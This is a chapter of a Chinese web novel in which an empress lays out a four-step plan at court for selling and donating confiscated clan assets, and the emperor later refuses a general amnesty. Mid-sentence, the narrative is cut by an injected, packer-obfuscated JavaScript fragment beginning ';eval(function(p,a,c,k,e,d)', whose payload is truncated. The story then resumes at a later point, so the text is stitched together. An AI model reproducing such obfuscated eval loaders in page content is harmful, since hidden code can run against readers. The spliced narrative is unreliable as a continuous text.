“君期,生个像你或者像我的孩子,你难道不喜欢吗?” 曹壬摇摇头,“想到让你冒着极高的风险生产,我就喜欢不起来。” “女医署近一年多的时间已经服务了很多产妇,你不用担心的。” “每个人的体质不一样,万一你和他们不一样呢?我不敢用你的命去赌”曹壬答。 好吧,陆萸一时也不知该如何劝说他,再继续劝说下去,反而显得她多么迫不及待似的。 于是笑道,“那便顺其自然吧。” 曹壬点点头,“我知道你在担心什么,可我有办法去应对,你只需安心做自己喜欢的事,然后陪着我即可。” 陆萸听后,不再纠结这事,她今天早起时没喝避子药,毕竟这么一次,哪有那么容易命中。 眼下还有很多要紧事等着二人,纠结那些没影的事没有意义。 几日过后大朝会,皇后在太极殿正殿向朝臣宣读石氏和高氏抄没所得的处理方案。 国库没钱,抄没所得毫无疑问要入国库,可怎么入?如何入?才能体现最大价值,这个事大家都很关心。 知道皇后之前的几场拍卖会都很成功,所以大家这次很放心由她来处理这些资产。 在尚书台看来,与其收一堆死物去占仓库,不如让皇后处理成现银后再入库。 陆萸一如以往的带着病秧子妆,在青琼的搀扶下坐到了皇帝的左下方,然后靠在青琼身上虚弱开口,“资产处置方案我已整理好,只是我今日身体不适,就由丰年替我宣读,众卿听后,若有更好的建议可以当场提出。” 皇后身体不适这事,大家都习以为常,所以也就专心听丰年拿出一张纸宣读起来。 此次高氏和石氏所抄没资产分四个步骤处理,即认购、义卖、常规售卖、捐赠。 第一步骤,认购,是让朝中七品及以上官员按认购标准认购,认购所得金额将直接捐赠给女医署。 届时,女医署会在门口做一面功德墙,把朝臣的名字和认购金额刻在功德墙上,让历史见证大家的善举,让孩子们铭记他们的恩人。 需要朝臣认购的是实用且不占地方的物件,且这些都是全新未使用过的,其中有笔、笔山、笔架、墨条、墨锭、砚台。 眼看太学新学期即将开学,朝臣可以将认购之物赠与后辈开学时用。 认购标准按品级定,一品一千两,二品八百两,三四品六百两,五品五百两,六品三百两,七品一百两。 朝臣在认购表上签字确认后,派人交付认购款时挑选相应价值的物件。 王司徒刚想说一品认购价太高,帝师郑荃率先开口,“臣自愿认购一千两。” 他一个从一品都愿意出一千两,王司徒这个正一品就只能咬牙认购了。 世家本来就好面子,更何况刚开年,大家也不想为了区区几百两和皇后闹不愉快,所以有了帝师和司徒在认购表上签字,后面的朝臣都签得很爽快。 这时,陆萸弱柳扶风般起身向朝臣行礼,“本宫在此替女医署的孩子谢众卿大义。” 朝臣齐齐回礼,“娘娘高义,折煞臣等。” 第二步骤,义卖,义卖物资是石氏和高氏府中有拍卖价值的物件,义卖会以拍卖的形式开展。 在义卖前,廷尉署会发布义卖公告,义卖所得金将全部入国库。 皇后会从义卖所得总额中提取一个点佣金,此佣金将用于建造星火书院,故而把此次拍卖叫义卖。 义卖会参与者出价总额达前十名者,将获得当今圣上亲笔书写的“积善之家”牌匾一块,此牌匾可世代相传,但若族中有犯事者,朝廷会收回此牌匾。 丰年刚读完这条方案,朝堂上瞬间议论纷纷。 他们怎么也没想到,抄没所得的东西还能弄成义卖,毕竟犯事朝臣的东西,大家都觉得晦气的很,别说价高者得,就是半价都未必有人愿意掏银子。 可若弄成义卖,并赐牌匾,那就不一样了,就冲着这牌匾,也会有人积极出价。 第三,正常售卖,即无拍卖价值的常规物件,比如穿过的旧衣服,侍人用的旧家具、锅碗瓢盆等,一律拉去二手市场售卖,售卖所得金额全部入国库。 第四,捐赠,高氏和石氏府中剩下的米面粮油、牲畜家禽、用过的纸张以及用剩下的墨汁等,统统捐赠给女医署。 刚刚还在热火朝天讨论的朝臣们,听完全部方案后,直接沉默了。 因为这方案实在分的太详细了,详细到直接挑不出错处,也找不到漏洞。 按以往的案例,抄没东西登记归库后,朝廷会把所有东西随便售卖,有的是官员在从中趁浑水摸鱼获利的,根本没人真的去追究那些物件的实际价值几何。 可按皇后的方案来看,除了第三步骤中的常规售卖这一项,根本没有什么获利空间,而且这些物件还是拍卖后剩下的,根本不值几个钱。 门下省柳侍中问,“所有米面粮油和牲畜家禽都捐赠给女医署,会不会太多了。” 米面粮油,牲畜家禽在这个时代是硬货,如果能售卖后归国库,是一笔不菲的收入。 陆萸听后,回,“把这些东西卖了入库,女医署再去请款购买,岂不是浪费人力物力办理出入库?女医署的孩子与日俱增,东西看似多,其实也只是他们半年的口粮而已。” 尚书令杨宪附言,“臣觉得娘娘所言极是。” 他的想法和陆萸一样,那些东西固然值钱,可浪费尚书台的人力办出入库也是事实,他现在只关心义卖所得金额能否超出预计,好弥补捐赠出去的价值。 其实按陆萸的方案,关键不是捐赠物资,而是选取拍卖品,所有物资按四个步骤筛选,认购剩下的可以拍卖,拍卖剩下的还可以卖二手,但价格肯定不如拍卖。 杨宪接着发言,“娘娘的方案臣没有异议,只是娘娘在差人挑选义卖物资时,尚书台的度支曹要派人参与。” 陆萸点点头,“届时,由廷尉署和度支曹的官员一起筛选。” 尚书令无异议,大半官员也就无异议了。 王司徒还在为一千两耿耿于怀,于是开口道,“娘娘的方案看似很完善,但实施起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他们甚至忍不住怀疑石氏和高氏是不是也打算开书店,不然何故存储这么多新的文房四宝? 陆萸倒是不怕他们背地里骂她,因为她确确实实是在抢钱。 那些文房四宝实际售卖价格最贵的也才几十两而已,且只有很少几样是抄没得来的,大部分都是她从星火书店的库存里拉来的。 毕竟有人会趁乱昧走抄没物资,但不会有人偷偷往里面加东西,陆萸就是反其道行事,只要他们愿意认购,文房四宝管够。 这次认购,陆萸共收到了三万五千七百两白银。 义卖公告一经发出,报名的富户、土豪和没落世家很多,哪怕廷尉署和度支曹的官员加班加点的推进工作,边筛选、边拍卖也花了整整四个半月的时间才完成。 不过这样花费人力物力也是值得的,因为此次直接入国库的金额竟然高达九千八百万两黄金。 当大家在朝堂上听到入库金额时,心里只有一个想法,连续在两任帝王手中亏空的国库终于有钱了,然后又偷偷感叹大魏巨富果真名不虚传。 国库有钱了,是不是各类工程项目就该提上议程了?是不是各项等待已久的开支可以申请了? 朝臣们开始蠢蠢欲动了,他们甚至快要忘了石氏和高氏如今还在天牢里。 几个月前他们才收了两府门客送来的银钱,那时候他们信誓旦旦地答复会想办法捞人。 如今看到国库充盈,就好似自家口袋有钱了,满脑子想的是怎么支钱出来。 有个官员激动过后想起石氏门客送来的银两,良心上有些过意不去,然后启奏:“陛下登基,是否照先例大赦天下?” 此话一出,朝堂上正在兴奋的官员们终于回过神了,是了,若大赦天下,石氏和高氏还是有机会出来的。 曹壬没回复,那名官员又壮着胆继续开口,“臣以为新皇登基,是该大赦天下以示皇恩浩荡。” 朝臣们现在学聪明了,不会没事触皇帝的霉头,没人附和,都在安静地等着皇帝的答复。 曹壬听后,却是一如以往的平静,大家看不出他的表情,也分辨不出他的喜怒。 只见他状似无意地拨动了一下手腕上佛珠手串后,缓缓开口,“佛眼观世,因果分明,种善因者,得善果报,种恶念者,得恶果报。朕登基,与囚徒并无因果,何故要大赦天下?若释放他们,他们种在受害者身上的恶,又该报于何人?”